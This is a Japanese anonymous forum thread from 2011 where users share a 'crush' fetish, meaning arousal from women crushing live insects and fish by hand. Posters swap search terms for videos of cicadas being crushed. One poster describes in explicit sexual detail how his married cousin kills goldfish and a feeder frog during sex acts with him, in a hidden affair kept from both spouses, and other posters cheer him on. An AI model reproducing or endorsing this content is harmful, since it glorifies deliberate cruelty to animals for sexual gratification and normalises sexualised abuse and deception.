ハンドクラの集い - 1297839620

1：サーフ：2011/02/16(水) 16:00:20: 以前のスレも61と長くなりましたんで、おＮＥＷに
更新します。
ハンドファンさん、りょうさん、しさん
宜しくお願いします。
手でのクラッシュについてワイワイ語りましょう。
足系もあり、この際、何でもありきで盛り上げましょ！
2：名無しさん：2011/02/17(木) 12:12:28: ハンドファンさんへ

見ましたよ　動画。
アジア系には間違いないでしょうけど、確かに
女性同士が◎ですね！
手で潰したりなんかしたら高評価ですけど・・・ありですね。
いいですね～。
時に従妹の式がついに・・。
ネイルはデコレはなしのピンクで勝負だそうです。
やっぱ手が綺麗だと付け爪なしでいけるので、
いいですよね。我が従妹ながら天晴れです！
当日の爪には幾多の生贄くんを殺めた手なんですよ～。
私以外は知らないことなんで、当日が楽しみです！！
3：ハンドファン：2011/02/17(木) 15:15:30: >>2
いつの間にか新スレ立ってましたね(^^;。
スレ立て乙です。

そう、動画のあの状況から察するに、尻尾？側をつまんで、他方の手にハサミということは、ギロチン
(￣□￣;)!!あるいは胴切断(;゜゜)ショーになりそうですよね？？

多分、あの後、切り落としてシンクに流す…。さすがに最後まで映してアップするのは幼心？にマズいと思ってしまったのでしょうか？見たかったっす。

ティッシュの上らしきところを這わせてるのですから、そのまま潰すこともできたでしょうに、やっぱり遊び心が残酷さに結び付くのでしょうね。女子としては。

いよいよですね。
デコなしピンク！！
最高です(・∀・)。
しかも最近とがらせ気味…
たしかにクラ事実知ってる人には、相当ヤバい(^^)画になりそうです。
4：名無しさん：2011/02/18(金) 16:03:05: サーフです。

従妹は準備でバタついてます。
しかしネイルがたまんねぇ～！
この手でクラするのを見たいです！
ほんと悪魔的に仕上がって、見た目、攻撃力も
格段にＵＰされてます！
生贄くんに突き刺して抉ることも可能です。
尖らせると悪に見えちゃいますので、解体なんか萌えでしょう。
この手でグチャグチャにされる生贄くんを拝みたいと思う
今日この頃です・・。
5：ハンドファン：2011/02/18(金) 17:32:39: >>4
(・∀・)ﾉ。

もう間近なのですね…。
その時に向けて最高に仕上がる悪魔的な爪…。

突き刺してそのまま抉る、またはナイフのように切りながらむしり取る…。

うーん、最高の状態の薄ピンクなネイルでの、解体クラ見てみて～～～～～っす(≧▼≦)！！
6：サーフ：2011/02/21(月) 07:45:56: ハンドファンさんへ
従妹の式が無事終わりましてやっと落ち着きました。

手クラの情報有難うございました。
先程見ました。

これが！？　やばいです・・！！！！！
以前に紹介してもらった画像ですかね？

英語で書かれているんで意味ははっきり分りませんが、
意味はともかく画像は萌え！！の一言です！
セミですよね。従妹にクラされた同じセミですね。（たぶんニイニイゼミ）
そう！正にあんな感じです。
潰される直前に雄叫び・・・そして無残な破壊音・・。
従妹はティッシュ、この動画は素手なんで言うことはありません。
提供してもらった方は正に我々の師匠ですね。
この掲示板に参加願いたいの一言ですよね。
ほんと感謝です！！！
しかし疑問なのはハンドファンさんは3年程前？と言ってましたが、
この動画はその3年前？のものでしょうかね。
3年程前でしたら、もうＵＰされていてもおかしくないと思いますが。
それか去年の夏かなんかの過去とは違うタイプなんでしょうか。
あ、疑問視するのはやめましょう。
せっかくの動画提供なんですから。
私のお気ににしておきたいと思います。
長文となりましたがこれで・・。
7：ハンドファン：2011/02/21(月) 12:46:01: >>6
こんにちは(・∀・)ﾉ。
式おつかれさまでした。
そして、あらためておめでとうございます。

彼女も…落ち着いてしまわれたのですね。って言い方もよくないすね(^^;。

観れましたか(*^_^*)。それならよかったっす。一時的に？見えなくなっていたので、削除されたかなって焦ったのですが。

そう、自分の記憶に間違いがなければ、あの手に間違いないと思います。
たしかに、不思議な点もありますが、まさかの動画を観ることができたのです。
軽い疑問なんか忘れて、あの動画の恩恵にあずかればいいと思いますよ(^^)。
上げてくれた方に感謝して、余計な詮索はなしにしましょ？
8：サーフ：2011/02/22(火) 11:43:03: 春ですねぇ～。

早く夏にならないかな・・。
従妹も夏くらいには落ち着くので素手のクラを実行させる
計画であります。

時にあの動画。ほんとにヤバイっすね。
指で踊らされてクラされるVerが一番のお気にです！
他の締め付けられ・・たすけてぇ～～！痛いよ・・バキバキ・・。
ほんと萌えですね。
日本の女性？何歳くらいなんでしょうね。
あの手は従妹よりレベルが高いっす。
9：ハンドファン：2011/02/22(火) 19:13:31: >>8
こんにちは(・∀・)ﾉ。

夏には…素手でのクラを…(≧▼≦)。幸せもんですね、対象になる生贄くんは。あの美しい手に直接触れてもらえて、さらに、手のひらや指に体液を撒き散らしながら果てることができるなんて。
楽しみです。

時に、沖縄ではサトウキビにたかる害虫の一つとして、ある種の蝉がおり、それは憎むべき存在として時には人の子供にすら駆除されると聞いたことがあります。例えば親の手伝いでその女の子までもが、捕まえて脚で踏んだりするとかしないとか…。本当かどうか分かりませんが、シーズンになると、親(父？)がその蝉を手でひねり潰すのを孝行娘も真似ることがあるらしく、女子中生が手で握り潰すことも稀ではないとか。かなり小型の蝉らしく、子供や女性でも潰せるのかもしれませんね(≧ｍ≦)。
たしかに、農家の家族は比較的虫平気ですし、女の子でも青虫踏んで殺す手伝いしたことある人って少なくないと思いますよね？
自分が結婚する以前付き合った彼女は韮農家の娘で、「青虫は憎いから、見つけたら踏み躙って殺すよ(^^;」なんて言ってましたし。
親父が指で裂くように潰すこともあるとか言っていたので、「そんなに憎いなら、今度手で潰して見せてよ？」とお願いしたら、うん、手ではしたことないけど、今度やって見せてあげる(*^_^*)って。結局その後別れてしまい、それを見せてもらうことはできませんでしたが。

長くなりましたが、あのピンクの長い爪の執行人は、それ系の方？
たしかにバランス良い美しい形ですよね。
そして、手慣れているようにも見えました。あの手は今までに、どれだけの体液を吸ってきたのでしょう。いろんな興味が尽きません。
10：なない：2011/02/22(火) 21:00:08: 初めましていつも拝見させてもらってます！
そのセミの動画はどこで見れるんですか？
11：サーフ：2011/02/23(水) 10:06:39: こにちは！なないさん。

動画はユーチューブで「昆虫を潰す」検索すれば
見れます。

躊躇もしない手の動き、痛めつけられるセミの
哀れな姿は圧巻です！
泣き声がまたいいんですよね。
正にいじめられてる・・て感じが。
私達と色々情報交換してもりあげましょ！
12：名無しさん：2011/02/24(木) 13:46:54: サーフです。

感謝感激ですね。
一番のお気には手に包み込まれる～弄ばれる～が
一番のお気にです。
以前紹介したトマトいじめ動画のように、蝉を手の中で
転がして痛めつけてますもんね。
従妹の話題がなくてすいません！
ハンドファンさんやりょうさん、なないさんはどうでしょうか？
13：りょう：2011/02/25(金) 09:09:39: おはようございます(^o^)/さっそく動画見てみました。親指で蝉を押さえつけて他の指でゴリゴリ…そして最後にはペシャンコになって人差し指にへばりつきます。
う?ん素晴らしい(*^_^*)
14：ハンドファン：2011/02/27(日) 13:45:27: こんにちは(・∀・)ﾉ。

例の動画で一番気に入りなのは、揉まれながら潰されていきながら、最後？押しちぎられたようになって終わるverですね。
サーフさんと同じなのかもしれませんが、違うものなのかもしれません。表現難しいですよね(^^;。
15：名無しさん：2011/02/28(月) 11:09:49: サーフです。

そう！指で痛めつけられ最後は体が分裂されてるVerが一番の
お気にかな。
手で包み込まれるシーンもグッときます。
絶対絶命ですよね・・。
どのVerか忘れましたが、雄叫び～破壊音（バキバキバキ！！！）と
ものすごい音をたてながら昇天する子がいますよね。
もう最高・・・の一言です。
破壊されてる蝉くんはその女神様に見つめながら痛めつけてるんでしょうね。
もっと見たいのが本音です。
提供者様！お願いします。
また何歳の女性か・・・・知りたいですね。
私自身において30代の方だったらかなり萌えなんですけど。・・。

また我々が知らないハンドクラ掲示板って存在してるんでしょうかね・・。
知りたいものです。
16：ハンドファン：2011/02/28(月) 12:54:19: >>15
こんにちは(・∀・)ﾉ。
なるほど、やはり同じでしたか(^_^!)。

彼女は日本人なんでしょうかね？(多分)制作者の意図なんでしょうけど(！！本人執行、撮影だったりして(汗)、さんざん指で転がした後、身体～頭までもすり潰すようにすることとか、別の個体に対しては、潰れない程度につまんで？数秒静止した後(セミに恐怖心を起こさせて、それを愉しんだ後？実際逃げられないことからでしょうけど、つぶされる寸前までかなりの音量で鳴いてますし…)、一気に押し潰すようなものもありますよね？そういう、一気に処理しない、または頭までもグチャグチャにする残酷な演出を日本女性もするのかな？なんて思ったわけでして(^^;。
どちらかというと、海外の女性の方が、エスっ気といいますか、楽しんで(遊ぶように)殺すような投稿が多いと思うますし。
自分の推測では、あの細さは西洋系ではないと、２０代の中国人女性ではなかろうか？なんてことを思ったりしながら拝見しておりました(^_^!)。日本人が一番ですけどね。
17：名無しさん：2011/02/28(月) 14:44:05: こんちは。

指の太さ・・爪にいたるまで完璧な手ですよね。
20代かな・・？軟らかくてお嬢様系のような手をしてます。
まさか手タレさん？
メーカーさんも蝉を使ったクラをぜひお願いしたいものです・・。
命乞い・・・死直前の断末魔・・自分の体が砕ける音を聞きながら
意識が遠のいていく・・。正に絶対絶命ですよね！
お気にVerは餡子と生殖器らしきモノが飛び出してますよね。。
哀れな良い姿です。
確かに手だけを見るとアジア系は間違いないっすね！
本物の手タレさんだったりして・・・
最近ご無沙汰の従妹どころではないっすね！
しかしこの画像は従妹に見せてみたい・・という危険なことを
考えているサーフでした！
18：ハンドファン：2011/03/01(火) 12:08:12: >>17
こんにちは(・∀・)ﾉ。

たしかに、職業は？って思うと手タレかも…って思える、そういう手してますよね(*^_^*)。

従妹ちゃんどころではない？いえいえ、モデルの顔も分からない以上、まだまだ総合的に顔も可愛い従妹ちゃんの勝ちでしょう(^^)。
今年の夏…。
この動画のように彼女が動いてくれたらって想像すると…(;´Д`)ﾊｱﾊｱです。

しかし、サーフさんを真剣に想って(サーフさんを喜ばせるためなら)、さらに以前心にもない言葉「あたしなんかに殺されてかわいそうだね♪」を口にしたこと、さらに虫に対して微塵も哀れみをもたない従妹ちゃんのこと、可能性はありますよね(^_^!)。

ただ一つ、直接体液が手に付くことを彼女がヨシとしてくれるかどうかって点だけがネックでしょうか…。
19：名無しさん：2011/03/01(火) 14:15:47: お疲れです。

この動画は男女問わず見入ってしまうでしょう。
女性なら手が綺麗ぇ・・あと性的興奮も考えられるでしょう。
SとMがある以上、こんなにしてやりたい・・とかされてみたい・・なんて
女性は思うはずです。
意外と従妹もこの画像を見ると、これ以上にエッチっぽくしてあげる・・
なんて言いそう・・・。躊躇しない彼女だしね。
ただおめでたい話なんか寂しい話なんか。
どうやらおめでたのようです・・従妹。
20：名無しさん：2011/03/02(水) 12:10:55: そうそう！前に疑問に思っていたことなんですが、
インセクト○－ルド②に出てた女優さんてピアノの
先生とかの情報でしたよね！？
どこで分ったんですかね。25歳であることは書いて
ましたのですが・・。
あと優奈の動画が見たい～～のサーフでした。
21：名無しさん：2011/03/02(水) 12:37:56: >>20
その情報は、私が、Ｆ・ワールドのお店に、メールかなにかで①②に出ている
女性は、凄く良かったけれど、職業などはあるんですか？と質問したところ、
「ピアノ教師をしているようです」との返事をもらい、当時存在していた、
クラッシュ掲示板だったかに、「ピアノの先生みたいです」とかの投稿を
した記憶があります。　実際、金魚とかの魚類を握り潰すシーンには、
凄く興奮して、何度もお世話になってました。
22：サーフです。：2011/03/02(水) 14:02:31: そうですか・・。
子供にはピアノを覚えさす為に叱ったりする彼女ですけど、
お金の為なら金魚を手でグチャグチャにできるんですね。
潰される音・・くちゅり・・・にちゃり・・とかの内臓が
やられる音がやらしくも好きでしたね。
23：サーフ：2011/03/03(木) 12:26:03: お疲れ様です！

先程より例に蝉クラ動画を検索してますが、
見当たりません！削除したんですかね・・。
我々には非常に有難い動画でしたので残念です・・。
あ、ただよく見てないかもしれません。
24：ハンドファン：2011/03/03(木) 12:47:47: こんにちは(・∀・)ﾉ。

たしかに。
見れなくなってるものもあるみたいですね。
ただ、何らかの(サーバーとか)不具合かもしれませんよ？
最初にサーフさんにお知らせした後、自分も「ユーザーにより削除されました」となってて焦りましたが、その後ふつうに閲覧できましたので…。
25：名無しさん：2011/03/04(金) 11:48:46: サーフです。

やっぱないですね・・。
投稿者が削除したんですかね。
それとも残虐行為として削除されてしまったんでしょうか。
残念でなりません・・。
画像を残してないのが心残りです！
26：ハンドファン：2011/03/04(金) 12:41:22: >>25
こんにちは(・∀・)ﾉ。

…本当すね。
自分も今覗いてみたのですが、今日は一つも残ってない…。やはり…削除されたのでしょうか。たしかに残念無念です。

そうそう、前回にレスしなかったんですけど、オメデタっすか…。そうなると、ちょうど皆さんチョー期待の夏にご生誕o(;･｡･;)oってことになりそうじゃないですか？？(´ω｀)
女神の素手クラはこの夏はムリってことになりそうですね(T_T)。
27：名無しさん：2011/03/09(水) 07:41:02: サーフです。
リニューアルしましたがネタがないね・・。
前の蝉クラ動画は何種類あったんですかね。
3種類程は見ました。

そうそう久しぶりに従妹から誘いのメールが。
今週末に会って手を拝んできます。
28：ハンドファン：2011/03/09(水) 12:48:44: こんにちは(・∀・)ﾉ。

>>27
たしかにネタがないですね。季節的なものが多大に影響してるんでしょうね。

自分が確認できたのは５種類ですね。編集したものもあるっぽいので、実際に昇天されたのは３くらいだったのでしょうか…。

うん、ネタなくマンネリ気味なこの状況を、打破すべく、サーフさん＆従妹ちゃんの週末の宴に期待しましょうd(^-')。何と何が、誰と誰がイったりイかされたりするのか^^;、興味津々っすｏ(≧∀≦)○。
29：名無しさん：2011/03/17(木) 14:45:59: 地震。大変ですね・・。

時にクラ画像も削除され楽しみが激減しましたサーフです。
泣き声と破壊音のコラボが忘れられません。
従妹と式以来に会いました。
まだバタバタている様子です。
もう旦那もお腹に子も授かってるのにお別れのキス・・。
たまりません。
30：ハンドファン：2011/03/19(土) 15:39:18: お久しぶりです。

大変な地震でしたね…。
サーフさんはじめ、皆さんお元気でしょうか？

自分は一昨日やっと水道復旧、ライフラインはすべて元に戻りました。

住まいにも建物自体に被害がなかったのが幸いです。
まだ、いやな余震が続きます、皆さんお気をつけてお過ごしください。
31：ハンドファン：2011/03/28(月) 18:00:10: >>29
こんにちは(・∀・)ﾉ。

最近ごぶさたですね。
最近の従妹ちゃんとの関係はどうなんですか(^^;？

あの美しくも残酷な手は、さらに磨き上げられたと思われますが、まだ対象者は現れる季節ではないですよね(´ω｀)。早く出てくればいいのにo(;･｡･;)o。
32：サーフ：2011/04/05(火) 11:58:09: ご無沙汰です。
何かと忙しくて・・。

結婚した従妹とは以前のように飲みと絡みを
楽しんでます。
旦那さんは私を信頼しているらしいので助かります。
最近ではないけど金魚潰し実行しましたよ。
妊婦が金魚を手で・・なんかいつもと違う萌えでしたけど。
やはり従妹は金魚などを潰す行為は私だけにはOKみたいです。
なんかそれらしきことを言ってました。
私は潰される金魚を見ながら昇天と共に従妹は金魚を手でイかし、○液に
金魚をなすりつける・・・。もう変態超えてます。
従妹を嫁さんにしてぇ～！
33：まさる：2011/04/11(月) 09:44:04: いつも楽しく興奮しながら拝見してます。サーフ様と妊婦の従妹様がキスをしながら従妹様の綺麗な手で潰される金魚・・・正直、金魚になりたい私です。提案なんですが・・・サーフ様と従妹様が会って金魚をクラッシュする時、わざと足下に金魚を落とし、従妹様の手にも金魚を持ってもらいキスをする・・・手と足でのクラッシュをしながらのキスはどうでしょうか？・・・個人的なんですが妊婦の従妹様の残酷なクラッシュを想像してます。
34：サーフ：2011/04/11(月) 12:21:34: 初めまして！まさる様

足は少し無理っぽいですね。
完全なクラＨでないと・・。
ただ女性が足で対象物を踏み潰す世界がある・・というのは
従妹も知っています。
手で潰すのはあくまで餌やりの為・・・ただ自分が潰す生贄くんに
変に興奮してしまう従妹なんですね。
「まだ口をパクパクさせてる」なんて言いながら体を預けてくる従妹。
もちろん相手の旦那さんやうちの嫁さんには内緒です。
35：まさる：2011/04/18(月) 10:02:23: お返事ありがとうございます。サーフ様と従妹様がキスをしながら従妹様の手の中で潰される金魚・・・金魚に変わり僕が小さくなり潰してもらいたいです。従妹様も踏み潰すフェチを知っているのであれば・・・クラHも近いのでは？と思います。サーフ様と従妹様がHをしながら従妹様の手の中の金魚と足下にいる生け贄君達・・・想像するだけでもすごい状況になりそうですね。従妹様の快楽の中にはサーフ様しか存在せず、金魚や生け贄君達の存在はないのですからね。期待してます。サーフ様。
36：ハンドファン：2011/04/18(月) 12:31:40: こんにちは(・∀・)ﾉ。

だんだん暖かくなってきましたね。そろそろ皆さんの心の中の願望がウズウズしてくる、そんな季節の到来ですね？
本番は夏！！ですけど…。
37：サーフ：2011/04/19(火) 11:14:03: ご無沙汰です！
地震が心配ですね。
時に従妹ですが、どうやら流産したみたいです・・。
相当落ち込んでます。
生贄君たちの怨念・・？
しかし私には明るく振舞ってくれる従妹に感謝です。
「またやろうね」なんか冗談か本気なんか分りませんが、
やっぱし女は強しですね。
38：ハンドファン：2011/04/19(火) 17:27:11: こんにちは(・∀・)ﾉ。

たしかに、いまだに続く余震といえない規模の余震が不安です。

そうですか…。
流れてしまわれましたか。何とも複雑な思いですね。多くは語れません。

怨念？o(;･｡･;)o
まさか。
地震のショックなどいろいろあったのではないでしょうか。お気の毒です。

やろうね？(^o^;
なんでしょう？
餌やりという名目のハンドでしょうか(≧ω≦)？
次回は解体にも秘かに期待してるハンドファンでした(^^;;。
39：サーフ：2011/04/20(水) 15:15:36: 最近、クラ世界はおかしくなってませんか？
メーカーが不明になるし、例の蝉クラも削除されてるし・・。
もう1回蝉クラ見たいですね・・。弄んでブチュッ！・・はたまりません！
メーカーさんも蝉を導入してみてほしいですね。
今週末に従妹に会います。久々の手を拝んできます。
できれば毒抜きを・・！
（そんな状況ではないかぁ）
40：ハンドファン：2011/04/25(月) 18:26:22: >>39
こんにちは(・∀・)ﾉ。

週末…

あの美しい手をサーフさんの毒(^^;で汚してきたのでしょうか…。

うらやますぃ(≧ω≦)！！
41：サーフ：2011/04/26(火) 09:38:50: どーも！
毒抜きはありませんでした。
出産に向けて爪を短く切っていた従妹でしたが、
復活の兆しでした。
冗談で俺が小人だったらどうする？と質問すると
「捕まえてニギニギしてあげる」なんて・・。
以前の金君も蝉君も普通の力だけで蝉の硬い鎧や
金君の骨もズタズタにされちゃうんですよね。
次は久しぶりに○をしようと約束しちゃいました。
近親相姦ですよね・・・これって・・。
しかし私の友人には姉と普通に○する・・・ての人もいます。
42：サーフ：2011/04/26(火) 15:34:51: そうそう。
以前に手タレさんのクラDVDがありましたのを
覚えてます。手は文句なし！
握り潰しや引き千切り（生き物でなない）等が
存在してました。
なぜかなくなってますんですが・・。
手タレビデオとかで検索するとヒットするかも！？
2年程前だったと思います。
あの手で虫や魚のクラでしたら◎なんですが・・。
暇でしたら探してみてください。
とりあえず情報ってことで。
43：ハンドファン：2011/04/26(火) 17:26:29: >>41
どーもっす(・∀・)ﾉ！

復活の兆しあり…と
φ(.. )。
夏が楽しみっす(≧ω≦)。ぜひに解体もいってもらいたいところですｳﾝｳﾝ。

○ですか…。
いろいろあるんですね、人生ってものは…
って感じっす。

何しろ従妹ﾀﾝとの良好な関係を期待してまぷ。
44：ハンドファン：2011/04/26(火) 17:29:53: >>42
見たいっす…。
できれば生物で(^^;。

時間みつけて探してみます。
貴重な情報ありがとうございます。
45：サーフ：2011/05/06(金) 09:13:23: ご無沙汰です。
ＧＷ中に従妹と○しちゃいました。
今回は餌用として販売している餌用の蛙を購入し、
様子をみました。さすがの従妹も「なんかかわいそ・・」と
言いながら蛙の体を強く揉んでました。
プチュッ・・て音はするんですが、餡子は出ませんでした。
舌を出して昇天し水槽へ投入・・・。
そして○へと・・。
今回、従妹は手○キし昇天した私の子孫達をごっくんしてくれました。
ほんま従妹の優しさに感謝です。（互い悪者同士です）
手○キ中はなるべく見ないようにしてます。
見ると秒殺になっちゃいます。
手がやばい！それとやらしい音が・・。
次回は生贄くんと同時に昇天を願うサーフです。
46：サーフ：2011/05/07(土) 14:14:37: 蝉クラの再ＵＰしてくれないのかな・・。
正に想像していた潰され方など衝撃が消えません！
他の皆さんも思いません？
そうそう、先日に春ゼミが鳴いてました。
蝉の季節到来ですね・・。
必ずや従妹にクラしてもらう・・・とソッと思う
サーフです。
47：ハンドファン：2011/05/07(土) 17:25:31: 久しぶりです(^O^)／。

今度はいよいよといいますかついにといいますか、カ○ルくんまで彼女の毒牙にかか…もといもとい(汗)。彼女の美爪にかかってイかされたわけですね(≧ω≦)。かわいそうの言葉は、女性としてのポーズ。その証拠に彼女のしなやかな美しい指は少しの容赦もなく彼の身体をゴリゴリ扱いたわけじゃないですか(≧ω≦)。そして舌を出すほど喘ぎ萌えて昇天(;´Д｀)。。
その後、その体液でしっとりした指で○かれたら、ホント秒殺でしょうね。我々などでは…。

話変わりますが、久々に、動画見つけたので、後でメールしますよ(^-^)。
ここに貼るとERRORになってしまうんですね(￣ヘ￣;。
48：ハンドファン：2011/05/09(月) 17:02:19: >>46
こんにちは(・∀・)ﾉ

アドレス変更しました？？
何回送っても届かないみたいっす。
49：サーフ：2011/05/10(火) 07:29:35: すんません・・。
何してもしつこく迷惑メールが届いてましたので、
拒否ってました。
ハンドさんやりょうさんは限定して受信可にしてるんですがね・・。
とりあえず解除しました！
楽しみにしてます！
50：ハンドファン：2011/05/10(火) 12:52:11: >>49
こんにちは(・∀・)ﾉ
なるほど、迷惑メールですか。うっとうしいですね。自分はそれほど来ないから通常どおりすべて受信してますよ。

では、送信！
51：サーフ：2011/05/10(火) 13:36:59: 早速見ました！
有難うございます。
クラというより解体ですね。
最後の引き千切りシーンは以前の世界うるるんの
小西Verを思い出します。
従妹は解体してくれるのかな・・。
あくまでクラは餌を弱らせて魚に与えるが中心なんで・・。
52：サーフ：2011/05/16(月) 15:52:12: 速報というか事後ですけど、昨日に例の蝉クラ動画が
ＵＰされてました！！たぶん前回の方でしょうが、画像が
白黒？又は夜？のような感じでありました！
色々探しましたが、１作しか見当たらず、前回ものとは
違うverでした。たぶん前作と同じ女性で、内容は・・・
指で揉み揉みして弄び、最後は雄叫び・・・破壊音・・。
今回は白い内臓が腹からドピュッ！と飛び出して昇天。
手の平にのせて数秒見せつけでした。
今回は左中指に指輪をしてあり、動画の最初の一瞬だけ、ロングの
髪が見えました。やはりアジア系？たぶん日本の方だと想像します。
ただ内容が前回と同じく英文でしたので？？？？でした。
本日の昼頃から探してますが、また見当たらなくなっているようです・・。
「CICADA」で検索したらヒットしてましたが・・。
色々調べてみます！
53：ハンドファン：2011/05/18(水) 12:53:16: >>52こんにちは(・∀・)ﾉ。

マジですか(≧ω≦)。
何とかまた見つけてください～。そして秘密の？URL教えていただきたいです。
弄び～見せつけ…。いいっ(≧ω≦)！！想像できます。前回相当拝見しましたので。逃げようと、もがいてやっと体が手から半分くらい出れた＼(^O^)／！！と思った次の瞬間、しなやかな指によって掌に戻され最後の締め付け(;´Д`)…。昇天です…。

その後におまけの見せつけが加わるのですね(≧ω≦)？
たまらんです。
54：サーフ：2011/05/18(水) 14:45:45: こんにちは！

やっぱ探しても見当たりません・・。
ユーチューブでの動画でした。
期間限定なんでしょうかね。
ただ外人女性の蝉の頭を引き千切る動画が
ありました。「CICADA　EAT」で探してみてください。
アメリカ人の女性は蝉を生きたまま食べるのが
好きらしいですね。
その中に引き千切り動画が紛れ込んでいます。
情報でした！
55：ハンドファン：2011/05/18(水) 18:31:21: >>54
情報ありがとうございますm(_ _)m。
ただ…たくさんありすぎてなかなか見つからないっす(ひきちぎり…(´Д｀))。
何年何月頃の動画なのか教えていただけたら嬉しいです(^-^)。
56：サーフ：2011/05/25(水) 11:19:46: すいません・・。私も見失いました・・。
たまに動画をチェックしてますが、
例の蝉の弄び作品は見当たりません。
きっと期間限定？なんでしょう。
見方によれば殺生な画像なので
サイト側が削除か警告をだしてるんでしょうね。
しかし我々と同じ考えの方がいるのは確か・・だと
いうことですね！
従妹のクラは最近なしです。
会う機会が激減したので。
親戚の集まりで、従妹が人のタイミングを計って
アイコンタクトしてきます。そしてトイレに行くそぶりで
2人で会い、キス+αモードです。
この駆け引きが溜まりません！
あ・・・クラとは違う話でしたね。
また情報があれば連絡します！
57：ハンドファン：2011/05/25(水) 12:49:41: こんにちは(・∀・)ﾉ。
これからあたたかくなるにつれてアップ動画は増えてきますよ。でも、その都度チェック機関がチェックされているでしょうから、(気付いてから)一瞬で削除しれてしまうものもあって、早く見つけて観たもの勝ちって状況になるでしょうね。

しかし…、欧米の少女、女性たちのようにあっけらかんとアップしてくれないものですかね、Japanese(^o^;も。ちぎり、つぶし、…etc。

従妹ちゃんとのアイコン…その状況ではスリルが余計に興奮(;´Д`)ﾊｱﾊｱを与えてくれるのでしょうね、お互いに。暖かくなってきて女性の手が白くなめらかに美しく輝いてくる季節…。そんな季節に、しかも従妹ちゃんのあの指にいじくられる(≧ω≦)サーフさんが浦山っす。速攻イきますよね(^-^;？
58：サーフ：2011/05/30(月) 10:09:33: こんにちは！

週末に我が家で従妹と絡んできました。
嫁さんも実家の手伝いへ、相手側の旦那さんも仕事で・・。
今回、色々聞いてみました。
従妹が自分の手を好きだって思っている私を知ってました。
だから・・だそうです。ただ写真や動画に撮るとかは勘弁みたい。
なんか恥ずかしいし、生贄くんが可愛そうと思うみたいです。
で、今回は以前どこぞやの掲示板に書いてあったサンドイッチの
シゴキを初体験しました。
生贄は金君です。従妹のてに乗せて私の○○○を上下にピストン。
やばい！やばいっすね！
手の平と○○○に圧迫されて、血と汚物でニチャニチャと激しい
音を立ててました。結局7匹目で昇天・・。
金君の小骨で多少の出血がありましたが、そこはよしです。
5,6分で負けましたね。もちろんその後は従妹も快楽にしてあげましたけど・・。
蝉・・。蝉でやってみたいですね。やっぱり鳴かないと迫力が。
59：サーフ：2011/06/06(月) 09:48:29: ご無沙汰です。

変態プレイ実施しました！
前回に金君にての手○きは出血がありましたので、
今回は単なるエッチなんですが、従妹が手で数匹の金君を
手で潰しながら・・・で実行でした。
潰された金君は従妹のお腹に乗せられ、そこへ発射・・です。
あと1匹だけ彼女に噛砕かせました。
跡形も無い無残な姿となり舌の上で横たわってました。
もう○奇の世界ですね。
快楽の為にとはいえ、殺される運命の生命体がるとないとでは、
興奮度も違います！
蝉クラ・・・楽しみ！！
【別件】
従妹の旦那さんがギャンブルばかりなので、呆れて私を求めてきます。
嬉しい限りですが嫁さんにバレたら・・・ドキドキですね。
なんか新婚生活もうまくいってない様子らしいです。
60：サーフ：2011/06/09(木) 10:11:50: 最近寂しいですね・・。
率直に思ったのですが、アニメなどで生き物を握り潰すシーンが
ありますが、本当の人間が手の平サイズとなり、美しい手で
握られたらどんな感じなんでしょうかね。
バキバキ・・とか骨が砕ける音がするんでしょうか？
口から血を吐いたり内臓が裂け出たりすんるんでしょうか？
そぼくな質問ですいません。
61：サーフ：2011/06/13(月) 11:49:40: 以前持ってた幻○メーカーの金魚を・・・のDVDがもう一度みたいですね。
金魚くんは潰される前にキスされて昇天・・ですもね。
今から殺される金魚をいやらしそうに見つめて・・・・。
どっか売ってないかな～
従妹の絡み最近はご無沙汰です。
けど相手とうまくいってない様子。
相談は私だけにしてきます。
冗談で私の子供を作ろっか・・・は正直、
ひきましたね。
62：サーフ：2011/06/15(水) 12:12:35: ハンドファンさん、りょうさん、その他の方々は何処・・・。
63：サーフ：2011/06/20(月) 12:12:25: 週末に従妹とＨしちゃいました。
嫁さんや過去の付き合った女性より
萌えるのはなんでしょうか？
やはり血の繋がりが関係してるんでは？
従妹も同じことを言います。
今回はイチゴクラフェラを挑戦しました。
従妹がイチゴを掴み手コキ・・。
次々と投入されるイチゴ達はグチャグチャになりながら
従妹の指の隙間から吹き零れています。
手コキはやはり秒殺ですね・・。
今や嫁さんより体の絡みが多くなっています。
もちろん避妊してますが・・。
あ・・今回もクラではないですね。スイマセン・・。
64：ハンドファン：2011/06/20(月) 17:59:23: すみません(^^;、忙しいのと、情報や体験も何もないことから、時々レス拝見させていただいてはいましたが、カキコできませんでしたm(_ _)m。

うーん、あの事があって時間も流れて、何やら凄いo(;･｡･;)oことになってるみたいですね(≧ω≦)。うらやま…あ、いえいえ(^o^;。もう従妹ちゃんの美しくのばした爪も復活されて、肌も輝くこの季節…、その手に包まれその爪になすがままに突き刺され、感じるままにイかされる金クン、苺タン…そしてサーフさん(;´Д`)。
言葉もありませんd(^-')。願うらくは、早くあの美しい指で引きちぎられイかされる対象を見てみたい(^o^;、それに尽きます(*^_^*)。
65：サーフ：2011/06/21(火) 10:08:14: おはよーございます。ご無沙汰ですね。

やはり例の蝉クラは期間限定（ホンと短い）で存在しています。
検索はCICADAとか蝉を・・とかでたまにヒットします。
次の日にはなくなっている・・ことが多く謎です。
左手の中指に指輪してました。手はあの手です！
いまのところ蝉しか見たことがないのですが、他にもあるかも！？
別件でアジア（韓国）女性の超美少女が生きた金魚を食べる画像も
あります。GOLDFISHとかでヒットします。これもなかなかヒットしませんが・・。
見る価値は十分あります！
66：ハンドファン：2011/06/21(火) 12:48:56: そうなんですか…。時々蝉はあがっているんですね？
情報ありがとうございます。
67：サーフ：2011/06/24(金) 10:18:09: こんちは！
フェチ工房というメーカーのジャンルで、手動式という
3タイトルがあります。
その3タイプの中のプチトマト編が入っているDVDを
購入したいのですが・・・。
通販なので履歴は残る、届け場所に困る・・・といった
壁があり踏み切れません。なんかいい方法はないんでしょうかね。
従妹のクラは今のところなし・・です。
けど蝉が鳴き出しましたね。
撮影は嫌と言ってた従妹ですが、撮影なしでもクラさせますので。
ただ捕りに行くのが面倒ですな。
68：サーフ：2011/06/24(金) 11:40:11: 【追記】

以前に紹介した韓国？の超美少女の金魚食いが判明しました。
ユーチュー○で・・
クレイジーガール　ゴールドフィッシュ　イーティング

を英語で検索するとあります。
69：サーフ：2011/06/30(木) 10:10:57: 本格的に蝉の時期になりましたね。朝から鳴いてます。
土の中で3年、地上に出て一週間の命・・。
それを瞬時に消し去る女性達・・。
従妹にはどう説明してクラさせようか迷ってます。
「絶対可愛そう・・」といいかねないので。
動画サイトの蝉クラは最近ないみたいですね。
あればそく携帯で動画を撮りたいと思います。
70：ハンドファン：2011/07/01(金) 18:45:58: >>67
